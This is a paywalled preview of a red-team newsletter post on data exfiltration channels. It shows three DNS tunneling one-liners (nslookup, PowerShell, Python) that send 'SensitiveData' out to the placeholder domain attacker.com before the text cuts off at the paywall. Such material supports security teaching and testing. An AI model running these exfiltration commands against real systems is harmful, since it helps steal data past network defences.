RedTeamGuides

RedTeamGuides

Exfiltration Method for Channels

Reza's avatar
Reza
Jan 26, 2025
∙ Paid
Share

DNS Tunneling

  1. Using nslookup on Linux/macOS:

nslookup SensitiveData.attacker.com
  1. Using PowerShell on Windows:

[System.Net.Dns]::GetHostAddresses("SensitiveData.attacker.com") | ForEach-Object { $_.ToString() }
  1. Using Python on Linux/macOS/Windows:

python -c "import socket; print(socket.gethostbyname('SensitiveData.attacker.com'))"

This one would send 45 bytes p…

Keep reading with a 7-day free trial

Subscribe to RedTeamGuides to keep reading this post and get 7 days of free access to the full post archives.

Already a paid subscriber? Sign in
© 2025 RedTeamGuides
Privacy ∙ Terms ∙ Collection notice
Start writingGet the app
Substack is the home for great culture